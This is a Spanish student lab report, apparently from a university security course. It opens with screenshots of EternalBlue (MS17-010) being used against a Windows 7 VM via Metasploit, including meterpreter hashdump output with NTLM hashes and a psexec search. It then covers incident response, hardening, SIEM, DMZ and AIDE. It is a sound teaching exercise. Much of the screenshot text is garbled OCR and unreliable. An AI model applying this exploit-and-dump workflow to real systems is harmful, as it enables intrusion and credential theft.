_ AKA: ETERNAEBLUE
exploit/windows/smb/smb.

Execute payload (
Neutralize implant

BOK¥ ST & WENE G croderecHa

= - 1:30 p.m.
DR 111700

Elaboracion Propia

Imagen 21. Ejecucién del exploit
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File Actions Edit View Help

EXPLOIT. Did you mean 0it? Run the » command for more db
> exploit

e TCP handler on 192.168.1.14:4444
Usi xiliary/scanner/smb/smb_ms17 010 as
[+] 192. - - Host is likely VULNERABLE to MS17-818! - Windows 7 Profession
al 7601 Service bit)
ned 1 of 1 hosts (100% complete)

[+] 192.168.1.13 e target is vulnerable.

1 rget for exploitation.
[+] 192.168 d for exploitation.
[+] 192.168 Target 0S d valid for 05 indicated by SMB reply

192 3 c 2 e tes)

192.168.1.13 5 2 20 50 72 6f 66 65
us 7 Profes

192.168.1.13
1 7601
192.168.1.13
1
192.168.1.13 e lid for
192.168.1. ing i 2 Groom All

nt to SMBv2 buff

201798 by

ion 1 opi

u mean d? Run the mmand for more details.

meterpreter > load kiwi

ﬂ ' @ [_A- !l “ u CTRL DERECHA
a

: 131p.m.
r 2 DB i1 B

Elaboracion propia

Imagen 22. Elaboracién del Hash

@O e ocreon

132p.m
11/11/2024

Elaboracion propia

Imagen 23. Se copia hash en la terminal de Kali
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File Actions Edit View Help

kiwi
nsion kiwi. . -
0 201 File Actions Edit View Help

AL Am

meterpreter
[+] Running
Dump)ne

[ Read 2 lines ]|
Is N cut

G Location
Wl co To Line

OIS ¥ B crre oerecia

1:38 p.m.

= 7
= ) B 11/11/2024

Elaboracion propia

Imagen 24. Comprobacion del hash con el usuario creado para la maquina WIN 7

password.

/home/kali
password. txt

alejandracagua=a 0 2 04ee:7 469d7b6ec54811be23f8c7aabf1
Administrador=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO

/home/kali
7aabf1

meterpreter > hashdump
Adninistrador:500:aad3b43sbs140k 3 :31d6cfe0d16ae931673¢597¢0c089c0
ale1and:ara«u 4 4 d3b435b51404:

d3b435b51404e:
Invxtqno 501:aad3b435b51404eeaad3bu3shs140bee ;1d6ui=0d162e441b7’u59d/eﬂgqurv
usuario:1001:aad3b435b51404eeaad3bs35b51404ee:31d6cfe0d16ae931b73c59d7e0c089Cc0
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter >
Background session 1? [y/N]
msf6 exploit( ) > search p

Matching Modul

S ¥ 68 F crre perecha

1:50 p. m.
11/11/2024

D /)

Elaboracion propia

Imagen 25. Ejecucion del Search Pexec

35



/home/| und session 1?
) > search pexec

/home/|

passwo;

/home/| #  Name Disclosure Date Rank
-txt  escription

/home/|
password. txt c ¢ normal
ejandracagua-aad3b43s
. normal
Support (Windo
/home/| N
password. txt

normal

normal
/home/|
normal
o , Bind TCP S
/home/| a n hell/ufjéxes/ normal
password. txt 8
normal
/home/| ower:
password. txt normal
/Ex " nd Ipl
ejandrac 2 ’ hell/uéX@d/bind_hidden_ . normal
ecute, Hidden Bind TC
normal
/home/| " no
, c ger (No NX or Win7)
md/wind ell/ /reverse_ . normal
, Windows Uploa
normal
normal
normal
or Win7)
. normal
e Encryption DNS, Metasm)
normal

normal

normal

B &) 68 F crre oerecha
a

L51p.m. o

DB 117117202 8

/hone/
password. txt

password. txt

B A WO T MO O O 5@ 2 FH

Elaboracion propia

Sobre el anexo 4 escenario, imaginese un ataque en tiempo real y responda:
Con el proposito de evidenciar una efectiva defensa de los equipos de Blue Team,
focalizados en la seguridad defensiva, protegiendo los sistemas y sobre todo los datos,

contra los riesgos que representa las diferentes amenazas cibernéticas, monitoreando
la red, deteccidn oportuna y generar respuesta efectiva a los incidentes que afecten la
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politica de implantacién de una entidad la clasificacion de las vulnerabilidades y su
respectiva gestion.

Analizando dichos focos se tuvo en cuenta informes estandarizados de las
metodologias y las entidades, de las cuales se extrajo, lo items, procedimientos y
funciones de estos profesionales, con el fin de clasificar y evaluar las taras para
individualizar y priorizar las estrategias.

Sobre la falla de seguridad que puerto identifico:

A esta actividad se le conoce como pentesting que estas compuesto por dos palabras,
una es penetracion y la otra de test, cuyo objeto es determinar si las politicas de
seguridad de la informacion que buscan la autenticidad, integridad y confidencialidad
se conserven dentro de una organizacion.

Mientras el escaneo de vulnerabilidades esta enfocado en la transmisién de datos y la
manera en que los mismos pasan por las diferentes capas, aplicado en software y
hardware cuyo fin es determinar la existencia de alguna vulnerabilidad y si la misma
es interna o externa a la organizacidn, por otra parte, una prueba de penetracion puede
tener otro tipo de contexto, ya que en la prueba de penetracion se observa desde la
implementacion de las Politicas de Seguridad, confirman su eficiencia, la eficacia,
por ende las mismas no son solo en software o hardware, sino que contemplan otras
variables que se encuentran contenidas dentro de las politicas de la organizacion.

Nmap es una herramienta de mapeo de redes. En este caso nos interesa conocer los
puertos que se encuentren abiertos, por lo que utilizamos las siguientes flags o
argumentos:

-A : Habilita la deteccion de SOy de version, es decir, va a intentar conocer el sistema
operativo que esta corriendo nuestro objetivo, junto al servicio asignado a cada
puerto y su version.

-p- : Escanea absolutamente todos los puertos. Por defecto, nmap s6lo escanea los
puertos mas comunes, pero puede que haya otros que contengan informacion.

Para este ejercicio el puerto 443 es el puerto HTTPS por defecto, este puerto este
asociado a las comunicaciones de las redes seguras. Utiliza el protocolo HTTPS, que
es la version segura de HTTP. Para este protocolo se incorpora protocolos de
seguridad mas fuertes.

El puerto 443 utiliza protocolos TLS para proporcionar una conexion segura entre el
cliente y el servidor. De este modo, cualquier dato transmitido a través de este puerto
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se encripta, lo que garantiza una conexion seguray protege la informacion de posibles
fisgones.

Este puerto es esencial para los sitios web de comercio electronico y banca en linea,
donde se transmiten datos confidenciales como nimeros de tarjetas de crédito y datos
bancarios.

Demuestre como esta falla puedo afectar a la seguridad informética segun el
escenario 4

Para fortalecer los procesos que contribuya a la reduccion de los riesgos, se
establecieron instrumentos de recoleccion de informacion los cuales, permiten
establecer los parametros esenciales para estructurar de una manera adecuada y
acorde a las necesidades, recopilando informacién como experto en ciberseguridad,
para continuar analizando los datos recopilados, después de realizar cuantificacion y
la decodificacion de los instrumentos de recoleccion de informacion.

El andlisis se focalizdndose en sus componentes tecnoldgicos que permitan las
conexiones de los equipos terminales con los servidores y a su vez la trasmision en
tiempo real de la informacion.

Gestionar las debilidades del sistema, a la entidad siempre estara acompafiada de
soluciones oportunas que garanticen menor porcentaje de riesgo dedicado a tratar las
fragilidades del sistema Windows el cual le fueron desactivados todas las
herramientas de proteccion.

6.4 ESCENARIO 4

Demostrar como se trataria el ataque en tiempo real
Primero, preferiblemente aislar el equipo comprometido de la red:

Una vez detectada la red con este ataque puntual se debe proceder apagar el equipo
de la red, desconectarlo fisicamente de cable de red RJ45

Imagen 1. Equipo afectado desconectado de la red.
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Elaboracion propia

Luego deshabilitar accesos remotos desde los servicios del quipo afectado.

Imagen 2. Servicios en Windows 7
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Elaboracion propia

Por parte de la administracion en redes debe configurar, limitar bloqueo y trafico de
puertos

Imagen 3. Configuracion desde la red LAN y WAN en el Fortinet
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Luego para ver el trafico de la de la red se puede usar el software Wireshark para
monitorear el andlisis de trafico, conexiones sospechosas y actividad de ataques.

Imagen 4. Escaneo trafico en Wireshark
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Elaboracion propia laboratorio unad
Validacion de logs del sistema operativo para ver que aplicaciones compromete

Imagen 5. Registro de eventos de Windows
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Elaboracion propia

Imagen 6. Validacion evento de cambio en la directiva de grupo

Archivo v
il Visor de eventos =

Archive Accion  Ver  Ayuda

@

[ Visor de eventos (local) ‘Acciones
. : g:;;fii?ﬂ:?dﬁs Palabras clave echa y hora Origen ... Categoria de la tarea Seguridad -
[ Aplicacion 'f\l.‘Audltoria correcta 24/11/2024 09:19:50 p.m. Auditorfa de seguridad... 4672 Inicio de sesién especial = Abrirregistro guardado...
(5] Seguridad @ auditora correcta 24/11/202408:19:50 p.m. Auditoria de seguridad... 4624 Inicio de sesién ¥ Crearvista personalizada...
Instalacién BV suditoria correcta 24/11/202409:19:41 p.m. Auditoria de seguridad... Cambio en Ia directiva ...
g Sistema @, Auditeria correcte 24/11/2024 09:19:41 p.m. Auditeria de seguridad... 4904 Cambio en la directiva ... Impmta“fm personslized.
[E] Eventos reenviados @, Auditoria correcta 24/11/2024 02:19:38 p.m. Auditoria de seguridad... 4672 Inicio de sesién especial Vaciar registro...
4 [ Registros de aplicaciones y s || @ Auditoria corrects  24/11/2024 09:19:38 p.m. Auditoria de seguridad... 4624 Inicio de sesién ¥ Filtrar registro actual.
(5] Eventos de hardware @, Auditoria correcta 24/11/2024 09:19:38 p.m. Auditoria de seguridad... 4672 Inicio de sesion especial [ Propicdades
[&] Intemet Explorer @, puditoria corrects 24/11/2024 09:19:38 p.rn. Auditoria de sequridad.. 4624 Inicio de sesién
(5] Key Management Serviec | &\ gitoria corrects 24/11/2024 09:12:40 p.m. Auditoria de sequridad... 4672 Inicio de sesién especial B suscar.
] Media Center @, Auditoria correcta  24/11/2024 091240 p.m. Auditoria de seguridad... 4624 Inicio de sesion Ied - Guardar todos los eventos com..
g a m::::;?powe,ihe" @, Auditoria correcta  24/11/2024 08:50:52 p.m. Auditoria de seguridad... 4672 Inicio de sesion especial Adjuntar tarez 3 este registro...
2 Suscripeiones @ Auditoria correcta  24/11/2024 08:50:52 .. Auditoria de segurided... 4624 Inicio de sesién Vor N
¢ A Auditoria correcta 24/11/2024 08:50:52 p.. Auditoria de seguridad.. 4648 Inicio de sesién -
@, Auditoria correcta 24/11/2024 08:36:01 p.m. Auditoria de seguridad... 4616 Cambio de estada de s... 6] Actualizar
9, Auditeria correcte 24/11/2024 08:36:01 p.m. Auditoria de seguridad... 4616 Cambie de estade de s... H Ayuds 3
Q, Auditoria correcta 24/11/2024 08:36:01 p.m. Auditoria de seguridad... 4616 Cambio de estado de s... . .
@ Auditoria correcta 24/11/2024 08:32:49 p.m. Auditoria de seguridad... 4672 Inicio de sesion especial Sicnlo o0 Audiorb dezcouidd
@, Auditoria correcta 24/11/2024 08:32:49 p.m. Auditoria de seguridad... 4624 Inicio de sesién [E] Propicdades de evente
@, Auditoria correcta 24/11/2024 08:3247 p.m. Auditoria de segurided... 4672 Inicio de sesién especial ~| | @ Adjuntartares s este evento...
Evento 4905, Auditoria de seguridad de Microsoft Windows. x 55 Copiar r
*'—‘Gmm — Jd Guardar eventos seleccionados...
o | & Actualizar
‘SE intenté anular el registro de un origen de evento de sequridad. B B Avude N

Nombre deregistre:  Seguridad

i

Origen: Auditoria de seguridad de Microso' Registrado: 24/11/2024 0919:41 p.m.

Id. del evento: 4905 Categoria de tarea: Cambio en la directiva de auditoria

Nivel: Informacion Palabras clave: Auditoria correcta

Us nible Equipo: PC202006

[ " >
— Cé ién
— Jd G
Num Lock On

)i F & 0 O% F ) 6 B crroerecHA
E e - s

play Settings 9, Focus

10:28 p. m.
24/11/2024 °F

~

Elaboracion propia

Se observa actividad del usuario creado alejandracagua con sus detalles, creacion, 1D
de usuario y también se valida que privilegios tiene el usuario.

Por otro lado, después de estas revisiones se puede ver con el usuario actual de la
maquina victima, se puede usar la herramienta cmd con los comandos permite ver
que el comando ARP, donde mostrara las IP y mac de los dispositivos que han
comunicacion en la red.

Imagen 7. Tabla ARP de la maquina victima

42



Archivo Maquina Ver Entrada Dispositivos Ayuda

()T » Pancldecontrol » Redes elntemet » Coneriones dered »

Organizar v Deshabilitar este dispositive de red Diagnosticar esta conexién Cambiar el nombre de esta conexién Ver el estado de esta conexién >

Conexién de drea local
Red 4
W= Adaptador de escritorio Intel(R) P...

Detalles de la conexién de red =
Detales de |2 conexién de red
£t Windows LUersién 6.1.76011 fmpicid ooy =
right <c) 2809 Microsoft Gorporation. Reservados todos los Sifio DNS especifica p
s\uswariodarp —a Descripcidn Adaptador de escritoro Irtel(R) PRO/
encontraron entradas ARP. teme Direccién fisica 08-00-27-92-80C0
e \Userssusuarioarn —a teme| | Hebitado para DHCE 51
biitadd | Direccidn IPv4 192.168.1.13
192.168.1.13 —— Bxb Direccién Fis 10014 Mascara de subred [Pvd 255 2552550
20-96-82-25-6aif 0Gepq | Concesion obterida dormingo. 24 de noviembre de 2024 1(_
52 La concesién expira lunes, 25 de noviembre de 2024 10:3
6.0, et _ngig Puerts de enlace predet .. 192.168.1.1
.8.252 01-80-5¢-B8-60—fc Servidor DHCP [Pv4 192.168.1.1
%gg:%gg:f :ggg a1-80-5e— §:§; Servidores DNS IPv4  200.21.200.10
200.21.200.80
[C:\Userstusuario> Servidor WINS IPv4 18216811
ibidos| | Habiltado para NetBios ... Si
Vincuio: direccién IPv6 ... fe8D: 4842 Sced de38:7898% 11
Puerta de enlace predet i
w93 | - s
‘ i v
[ @rropedades | [ yDeshebiitar | [ Diagnost —

Cerrar |

~
K|

Num Lock On

Elaboracion propi

Lgi Display Settings

13, Focus

A O] R

&,
3

A~

B8 &) 8 B crre perec
—_——— +

10:38 p. m.
24/11/2024

Imagen 8. Validacion de volcamiento de memoria con el software Autopsy
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Elaboracion propia laboratorio UNAD.

Después de estas revisiones es importante informar el incidente, es necesario tener
compartimiento con prudencia, de manera que solo se entere las personas autorizadas.
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Contener los dafios es de extrema importancia realizarlo de manera oportuna en la
gestion de la incidencia, priorizando las acciones segun la forma de ponderar los
recursos afectados entre las personas, informacion y equipos tecnologicos.

Luego, presentar un informe a la Gerencia y Direccion de tecnologia demostrando las
vulnerabilidades del ataque, que recursos compromete y el porcentaje que afecte a los
servicios de Tecnologia.

Por altimo, realizar las acciones que se prometieron hacer y en pate buscar medidas
preventivas para tomar acciones correctivas, asi mismo ver como funciona toda la
arquitectura de red y servicios, para finalizar capacitar al personal sobre los nuevos
cambios en ejecucion.

Cabe resaltar que se debe fortalecer las politicas de seguridad que se implementen
desde el directorio activo y también reglas que se configuren en el Firewall.

Teniendo en cuenta el ataque ejecutado desde el ejercicio de red team, que
medidas de hardenizacion propondria para que el ataque no se repita.

Con el proposito de hardenizar las maquinas virtual con Windows, tenemos
necesariamente que verificar y activar todas las herramientas de seguridad que posee
el sistema operativo, Windows defender y los firewall, los cuales estan pre instalados
con los requisito necesarios para el propdsito, en el cual se deben configurar las
actualizaciones y los respectivos parches de seguridad que tiene destinados ¢€l y
otorgados por Microsoft, se realiza la revision de puertos los cuales necesariamente
toca tener habilitados si el fin del equipo es mantener conexidn con otros equipos y
redes, se ejecutan las actualizaciones vigentes en ese entendido los atacantes no
lograran utilizar ese puerto, se verifica nuevamente los sistemas de seguridad y la
activacion de los mismos, focalizadas en desactivar las opciones que permitian las
conexiones con asistencia remota, toda vez que esta conexion fue la que permitio el
ataque, de manera que a partir de ahora se instalen los parches, al realizar esta
configuracion se encuentran las actualizaciones requeridas las cuales son instaladas
y que no tienen costo, si se quisiera una harderizacion mas fuerte se podria contratar
servicios de pago para obtener mayor eficiencia y eficacia.

Imagen 9. Validacion del sistema operativo
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Elaboracion propia

Se puede ver que el sistema operativo no tiene actualizaciones activas, eso hace que
no pueda tener parches de actualizacion de seguridad, esto podria generar un riesgo
de ataque ya que pueden existir vulnerabilidades que no estén corregidas y sea
provechoso el estado vulnerable del sistema operativo para acceso facil d ellos
atacantes.

Imagen 10. Validacién seguridad del Win 7
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Elaboracion propia

Por otro lado, la gestion de la creacion de los usuarios permitird que cada user que
este creado tenga ciertos niveles de acceso como restringido, medio y usuario final.

Imagen 11. Creacion de usuarios
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Elaboracion propia

Para tener mas encuneta podemos considerar estos aspectos para el hardening:
Tener el Firewall del Sistema operativo habilitado y funcionando que permita
controlar los servicios y puertos que no son utilizados por los usuarios y los cuales
funcionen como backdoors a los atacantes.

Controlar el acceso de forma remota a los equipos de los usuarios a menos que estos

lo requieran para el cumplimiento de sus funciones, tener abiertos protocolos como
SSH y TELNET facilitan el acceso de externos
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Fortalecimiento de las politicas de seguridad y también limitacion de reglas desde las
configuraciones dadas en el Firewall para la red.

Capacitacion a los usuarios finales sobre sus funciones, que formas de trabajo puede
hacer y que limitaciones tienen desde sus usuarios.

7. Realizar diferencias entre equipo BlueTeam y el Equipo de respuesta

Tabla. Diferencias entre Blue team y CSIRT

Blue TEAM Equipo de respuesta a Incidentes

informaticos

El grupo Blue Team se encarga de
proteger a la empresa de ciberataques de
manera proactiva, no solo teniendo en
cuenta los ataques actuales sino
evaluando las posibles amenazas

El grupo Blue Team hace un monitoreo
de los recursos informaticas a fin de
encontrar patrones y novedades que
puedan ser un riesgo de la informacion.

El grupo Blue Team de tal forma pueden
ser recursos tanto internos como
externos de las entidades contratados
para la detencion y correccion de
vulnerabilidades.

El equipo de respuestas ellos reciben los
reportes de incidentes de seguridad,
analiza y da una respuesta al incidente.

El equipo de respuesta hace una accion
en el momento que se presenta un
incidente informético, hacen una
investigacion de como atacar, recuperar
y gestionar la vulnerabilidad detectada.

El equipo de respuesta son basicamente
un area de la compafiia y gestionan las
incidencias que se presenta en los
recursos informaticos.

8. Si dentro de un equipo Blueteam le indican que debe trabajar con CIS “Center
For Internet Security”, usted lo utilizaria para que fin.

Sobre el escenario que CIS demuestra, como es una organizacion a fines que busca
que las empresas, gobiernos y personas que tengan acceso a la tecnologia e
informacion, hacen que forma de trabajo sea méas practica adaptandose a ciertos
estandares y buenas practicas que permiten protegerse contra ataques y amenazas
digitales en un mundo que se mantiene en evolucion y es cambiante, siempre la
informacién y la tecnologia va de la mano.
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Controles CIS para gestionar tecnologias:
En lo que respecta a las categorias nos podemos encontrar con benchmarks de:

Sistemas operativos. Que cubren las configuraciones de seguridad de los principales
sistemas: Windows, Linux, OSX.

Software de servidores. Sirven para implementar configuraciones de seguridad en los
softwares de servidores mas usados: Microsoft SQL Server, Nginx, MySQL...

Proveedores cloud. Se centran en las configuraciones de seguridad de las nubes mas
importantes: Amazon Web Services, Microsoft Azure, Google Cloud...

Dispositivos moviles. Focalizados en los sistemas operativos moviles, incluyendo,
por supuesto, Android e i0S.

Dispositivos red. Recogen un conjunto de recomendaciones generales y especificas
para los dispositivos red y hardware aplicables como Cisco, F5 o Palo Alto Networks.

Software de escritorio. Se ocupan de la configuracion de seguridad de los programas
de escritorio mas usados como Microsoft Office, Google Chrome o Safari Browser.

De acuerdo a ello, si lo usaria por lo que es una herramienta muy efectiva para
estructurar un esquema de seguridad de la informacién y con esto se podria conocer
la politica de seguridad de la informacion y asi mismo tener una idea de accion
afectiva y forma confiable que le permita la misma proteccion de cualquier amenazas
y asi mismo indagar nuevas amenazas a futuro,

Explique y redacte las funciones y caracteristicas principales de lo que es un
SIEM

Un SIEM es la unién de dos tecnologias como son el SIM (Security Information
Management), y el SEM (Security Event Management). EI SIM se encarga de
administrar todo lo relacionado con la seguridad de la informacion y el SEM se
encarga de la administracion de los eventos de seguridad.

Un SIEM se basa en buscar dentro de todos los eventos y las tareas que se presentan
en el dia a dia en los dispositivos de red de una empresa y de una manera eficaz y
rapida contrarrestar dichos eventos inusuales para prevenir que se conviertan en una
amenaza a la informacion.

Las principales ventajas que ofrece un SIEM son las siguientes:
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e Proactividad en la resolucion de incidentes de seguridad

e Rapidez en la deteccion de eventos e incidentes detectados

e Deteccion de amenazas no conocidas a través de la analitica avanzada de
eventos Mayor rapidez al momento del andlisis de las alertas generadas

e Detectar amenazas a través de logs histéricos usando la analitica del
dispositivo SIEM

e Garantiza la proteccion de la informacién y mejora las operaciones de la
empresa

e Evalla todos los activos de red mediante escaneo activo, monitoreo pasivo e
inventarios de hardware y software

Las principales funciones principales que ofrece un SIEM son las siguientes:

e Agregacion de datos: este componente permite agregar los eventos de
seguridad que se utilizara en los demés componentes, los cuales vienen de
muchas fuentes y se debe a estos categorizar con el fin de estimar si estos
deben ser indexados o no segun su importancia

e Alertas: Se configuran con el fin de buscar alguna actividad sospechosa y que
esta genere un aviso cuando se cumplen ciertas condiciones y avisar por
distintos medios sobre alguna eventualidad

e Compliance: Sirve para automatizar la correlacion de eventos que permiten
la generacion de informes necesarios para temas de auditoria y control de los
sistemas de informacion

e Incident Response: Son las acciones que se deben tomar al momento de
presentarse un incidente, proporcionando la gestién de los incidentes, asi
como la colaboracion y cambio de conocimiento sobre los mismos haciendo
que este proceso sea mas eficaz y al mismo tiempo agil

e Automatizacién SOC: Denominado como SOAR (Security Orchestration,
Automation and Response), es la parte que se integra con otros appliance de
seguridad por medio de APIs y asi crear playbooks y workflows de manera
automa@tica ante determinados eventos

10. Defina por lo menos 3 herramientas de contencion de ataques informaticos
“hardware y software” recuerde que las herramientas de contencion son
diferentes a las herramientas de detencion

Firewall UTM

Como bien se define, es un recurso adaptable que amplifica refuerzos como estrategia
de proteccion de datos, es un dispositivo de hardware y software que integra diversas
funciones de seguridad como filtros de paquetes, proxy, sistema de detencion y
prevencion de intrusos, proteccidén de malware y control de aplicaciones.

Ofrece una gama amplia de caracteristicas, le permite hacer mas dinamico y seguro.
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Para la red, tiene cuatro funciones clase que pueden ser:

Control web: transforma la gestion de la seguridad en la red, haciéndola més flexible
y adaptable a las necesidades empresariales especificas. A diferencia del enfoque
tradicional proporcionado por proxies web, que requieren que el administrador
maneje perfiles de acceso con bases propias de URL permitidas o restringidas, este
método basado en categorias ofrece un conocimiento méas profundo y matizado de los
sitios web, clasificandolos segun su contenido.

Proteccién contra malware: la estrategia de proteccion contra malware en un
firewall UTM se basa en un enfoque multicapa que puede integrarse con soluciones
antivirus externas, lo cual es vital para las empresas que gestionan grandes cantidades
de datos sensibles*. Las soluciones UTM cominmente incluyen un antivirus
integrado, ya sea desarrollado internamente o provisto por terceros, y suelen contar
con una base de datos actualizada de firmas y direcciones asociadas con contenido
malicioso.

Control de aplicacion: Este método ofrece una gestion de acceso mas efectiva a
aplicaciones clave para la empresa, una ventaja especialmente significativa en
ambientes donde proliferan los servicios en la nube y aplicaciones corporativas.
También conocido como filtro de capa 7, el control de aplicacién representa un
avance importante en la seguridad de la informacién contemporanea, dada la
disminucion de la eficacia de las politicas basadas Gnicamente en puertos, protocolos
y direcciones IP.

Prevencion de intrusion: es una caracteristica central de los firewalls UTM y opera
mediante sistemas que identifican y bloguean ataques potenciales en la red. Estos
sistemas emplean algoritmos de reconocimiento de patrones para identificar paquetes
de datos que sugieren actividad maliciosa, permitiendo tomar medidas preventivas,
como el blogueo de dicho trafico.

DMZ:
Es basicamente una zona desmilitarizada y es una red perimetral que protege la red
del area local LAN interna contra el trafico no confiable.

es una subred que se encuentra entre la Internet pablica y las redes privadas. Expone
los servicios externos a redes no confiables y agrega una capa adicional de seguridad
para proteger los datos confidenciales almacenados en redes internas, utilizando
firewalls para filtrar el trafico.

4 Firewall UTM 'y como puede reforzar la seguridad, pagina NETDATA. Link
https://blog.netdatanetworks.com/utm-firewall
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El objetivo final de una DMZ es permitir que una organizacion acceda a redes no
confiables, como Internet, a la vez que garantiza que su red privada o LAN
permanecen seguras. En la DMZ, las organizaciones normalmente almacenan
Servicios y recursos externos asi como servidores para el sistema de nombres de
dominio (Domain Name System, DNS), el protocolo de transferencia de archivos
(File Transfer Protocol, FTP), correo, proxy, protocolo de voz sobre Internet (Voice
over Internet Protocol, VVoIP) y servidores web.

Los beneficios de usar DMZ proporcionar una red interna con una capa de seguridad
adicional al restringir el acceso a los servidores y datos confidenciales. Una DMZ
permite que los visitantes del sitio web obtengan ciertos servicios mientras
proporcionan un bufer entre ellos y la red privada de la organizacion. Ofrece tales
como:

Habilitacién del control de acceso: las empresas pueden proporcionar a los usuarios
acceso a servicios fuera de los perimetros de su red a través de Internet pablica®.
Prevencion del reconocimiento: al proporcionar un bafer entre Internet y una red
privada, una DMZ evita que los atacantes realicen el trabajo de reconocimiento que
hacen cuando obtienen datos de objetivos potenciales

Bloqueo suplantacion del protocolo IP: Los atacantes pueden intentar obtener
acceso a los sistemas suplantando una direccion IP y haciéndose pasar por un
dispositivo aprobado que ha iniciado sesion en una red.

Herramienta AIDE.

Es la herramienta que nos a escanear sistemas de archivos con el proposito de buscar
cambios no autorizados y va generando alertas si detecta modificaciones sospechosas.
Es importante si se procura la deteccion de intrusiones basada en el sistema de
archivos.

La manera en que puede realizar esa deteccion de cambios es que AIDE crea una base
de datos de archivos en la ejecucién inicial y luego se comprueba con dicha base de
datos en las siguientes ejecuciones.

Debemos tener en cuenta en esta herramienta es que la base de datos que crea
inicialmente se almacena en el sistema de archivos raiz, y un atacante podria
modificarla facilmente para buscar ocultar su intrusion al sistema, es por esto por lo
que se recomienda realizar una copia de la base de datos y realizar comprobaciones
contra dicha copia periédicamente.

5 Sobre DMZ. Pagina Fortinet. Link https://www.fortinet.com/lat/resources/cyberglossary/what-is-
dmz#:~:text=Una%20zona%20desmilitarizada%20(demilitarized%20zone,p%C3%BAblica%20y%201as%20
redes%20privadas.
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6.5 APORTES DENTRO DE UNA ORGANIZACION

La recoleccion de informacion que ayudan en establecer parametros esenciales para
s la arquitectura de una forma precisa asociando informacion para los expertos de
seguridad, no obstante, el equipo blue teams después de que recolecte la informacion
y la decodifique, analizar a los datos recopilados para el estudio que se necesite.

El andlisis consistio en definir cada una de las buenas y malas practicas en el parcheo
de aplicaciones, focalizdndose en sus componentes tecnologicos que permitan las
conexiones de los equipos terminales con los servidores y a su vez la trasmision en
tiempo real de la informacion,

Brindar capacitacion al personal de seguridad y de IT para dar acompafiamiento a los

usuarios finales sobre la utilidad de los dispositivos y accesos a la red, brindado
campanas de conciencia.

52



6.6 RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESTRATEGIAS
QUE PERMITAN ENDURECER LOS ASPECTOS DE SEGURIDAD EN UNA
ORGANIZACION

e Las deficiencias dejaron a que las aplicaciones expuestas a ataques Yy
vulnerabilidades, hace que sea mas dificil la confidencialidad, la integridad y la
disponibilidad de la data.

e Los parches en las aplicaciones, en el sistema operativo, hace que la falta de
priorizacion, también la falta de pruebas exhaustivas, la identificacién y la
priorizacion de las vulnerabilidades, son de alto criterios estas areas que requieren
atencion inmediata y constante.

e Para fortalecer los procesos que ayuden a la reduccion de riesgos, se hace de los
instrumentos de recoleccion para que los parametros esenciales de una forma
adecuada y segun las necesidades, los expertos de seguridad recopilan la informacién
harén andlisis segun las estrategias del equipo blue team.

e Se analiz6 la imperiosa necesidad de fortalecer el componente tecnolégico en de los
equipos de Blue Team, incluyendo servicios de almacenamiento en nube,
infraestructura de fibra dptica y banda ancha, entre otras que permitan asegurar los
procesos y procedimientos que se adelantan

e EI brindarles conocimiento a los usuarios es importante, explicar sobre nuevas

herramientas técnicas de ataque y contencion, ayudar a que las actualizaciones
fortalece a la capacidad de respuesta de forma sincronizado.
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6.7 CONCLUSIONES QUE PERMITAN LA CONTRUCCION DEL
CONOCIMIENTO DESDE EL ENFOQUE DE SEGURIDAD

Documentar los hallazgos de las simulaciones permite que la base de conocimiento
sirve como referencia para futuras estrategias.

Seguln los procesos de regula miento para el cumplimiento normativo, alinear las
estrategias de ciberseguridad son marcos legales que aparte de proteger a las empresas
de sanciones, también fomenta la confianza de los clientas y personas interesadas.

Sencillamente las organizaciones deben empaparse de los marcos legales, y eso hace
que las estrategias deben ser revisadas constantemente en caso de un ajuste sea a
medidas a las nuevas amenazas, esto podria asegurar que en pro las organizaciones
estaran avanzando que los mismos atacantes.

La gestion de los equipos debe ser realizada periédicamente analizando la eficiencia
de las practicas medidas o politicas que se adoptan en una organizacion, con el
propésito de mitigar la recurrente exposicion al riesgo, de manera que se esté
revisando, identificando y actualizando todos los softwares de uso de la entidad.
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7. CONCLUSIONES

Llevar a cabos esta implementacion de este software optimiza las brechas de
seguridad de los sistemas informaticos para el negocio o dependiendo del escenario,
lo que mejora el rendimiento de las aplicaciones y la experiencia del usuario final.

La informacion y los sistemas son recursos valiosos para las organizaciones, por tal
motivo es necesario, incorporar métodos y herramientas en el analisis forense. Por
otro lado, los métodos se encuentran conformados por fases para la identificacion,
preservacion, andlisis y presentacion de una evidencia digital.

La administracion segura que ofrece tiene un enfogue novedoso para la provision para
la combinacion de la arquitectura de seguridad.

La virtualizacion del sistema operativo permite que se pueda ejecutar varias imagenes
en simultaneamente, esto ayudara a comprender el escenario de la maquina para
hacking a la maquina afectada en un ambiente mas real.

Al abordar estas deficiencias, el equipo de Blue Team se logré encontrar estrategias
que puedan fortalecer su capacidad de respuesta, reducir los riesgos y asegurar una
proteccién mas efectiva de los sistemas.

Tanto para los equipos Red Team y Blue Team pueden emular este tipo de ataques,
practicar y aplicar el tiempo determinado para enfrentar estos ataques de la manera
mas eficaz con el propdsito de cambiar aspectos y medir la efectividad para futuras
amenazas.

El uso de los procesos y herramientas para rastrear y controlar el uso, la asignacion y
configuracién de privilegios administra trucos en los equipos, redes y aplicaciones.
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